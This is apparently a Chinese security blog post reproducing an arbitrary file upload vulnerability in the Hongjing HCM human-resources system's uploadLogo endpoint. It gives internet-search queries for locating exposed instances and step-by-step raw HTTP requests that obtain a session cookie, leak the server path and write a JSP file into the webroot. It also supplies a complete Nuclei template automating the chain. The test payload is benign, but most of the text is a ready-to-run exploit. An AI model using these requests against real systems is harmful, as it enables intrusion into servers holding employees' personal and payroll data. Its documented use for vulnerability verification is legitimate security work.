【漏洞复现】宏景人力资源信息管理系统uploadLogo任意文件上传

【漏洞复现】宏景人力资源信息管理系统uploadLogo任意文件上传

混子Hacker 混子Hacker 2024-11-09 22:30


免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不承担任何法律及连带责任。


漏洞简介 
]

—— 
即使阿迪克斯 达芬喝得烂醉如泥,不像某些人在神智最清醒的时候那般恶毒,世界上是有一些人,他们只顾担心来世根本不去学习今生如何做人,你顺着街道看过去,就知道会有什么样的结果
 【
摘自《杀死一只知更鸟》
】 ——

宏景HCM

宏景HCM
是一款全面覆盖人力资源管理各模块的软件,主要功能包括人员、组织机构、档案、合同、薪资、保险、绩效、考勤、招聘、培训等管理,以及多项业务自助功能
。该系统
uploadLogo存在任意文件上传漏洞

漏洞信息

混子Hacker

01

资产测绘

fofa: app="HJSOFT-HCM"
Quake:app:"宏景-HCM"

混子Hacker**

02

漏洞复现

1、访问
/module/system/qrcard/mobilewrite/qrcardmain.jsp
获取cookie

GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
Host: xxx

2、携带cookie访问

/sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1
获取文件上传路径

POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
Cookie: JSESSIONID=C2AF006EB0EFAC26070DBC9A6AA10CF8
Accept-Encoding: gzip
Content-Length: 548

------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"


------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"

0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif

<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif

<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--

3、携带cookie和path上传文件

POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
Host: xxx
Cookie: JSESSIONID=C2AF006EB0EFAC26070DBC9A6AA10CF8
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Length: 628

------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="path"

D~3a~5capache~2dtomcat~2d~39~2e~30~2e~36~34~2drsxt~5cwebapps~5cROOT~5cthomas.jsp
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="lfType"

0
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="logofile"; filename=""
Content-Type: image/gif

<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66
Content-Disposition: form-data; name="twoFile"; filename=""
Content-Type: image/gif

<%= "hjsoft-upload-test" %>
------WebKitFormBoundaryk8DbZoq3wNm32b66--

混子Hacker**

03

Nuclei Poc

id: hjsoft-uploadLogo-fileupload

info:
  name: 宏景uploadLogo任意文件上传漏洞
  author: thomas
  severity: critical
  metadata:
    fofa-query: app="HJSOFT-HCM"
  tags: hjsoft,fileupload

requests:
  - raw:
      - |
        GET /module/system/qrcard/mobilewrite/qrcardmain.jsp HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{cookie}}
        Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66

        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="path"


        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="lfType"

        0
        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="logofile"; filename=""
        Content-Type: image/gif

        <%= "hjsoft-upload-test" %>
        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="twoFile"; filename=""
        Content-Type: image/gif

        <%= "hjsoft-upload-test" %>
        ------WebKitFormBoundaryk8DbZoq3wNm32b66--
      - |
        POST /sys/cms/uploadLogo.do?b_upload=upload&isClose=2&type=1 HTTP/1.1
        Host: {{Hostname}}
        Cookie: {{cookie}}
        Content-Type:multipart/form-data; boundary=----WebKitFormBoundaryk8DbZoq3wNm32b66

        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="path"

        {{filepath}}thomas.jsp
        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="lfType"

        0
        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="logofile"; filename=""
        Content-Type: image/gif

        <%= "hjsoft-upload-test" %>
        ------WebKitFormBoundaryk8DbZoq3wNm32b66
        Content-Disposition: form-data; name="twoFile"; filename=""
        Content-Type: image/gif

        <%= "hjsoft-upload-test" %>
        ------WebKitFormBoundaryk8DbZoq3wNm32b66--
      - |
        GET /thomas.jsp HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: cookie
        part: header
        group: 1
        internal: true
        regex:
          - "Set-Cookie: (.*?);"

      - type: regex
        name: filepath
        part: body
        group: 1
        internal: true
        regex:
          - 'value="(.*?)images"'
    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - "status_code_1 == 200 && status_code_2 == 200 && status_code_3 == 200 && contains(body_4, 'hjsoft-upload-test')"

<<<  
END 

原创文章|转载请附上原文出处链接

更多漏洞|关注作者查看

作者|混子Hacker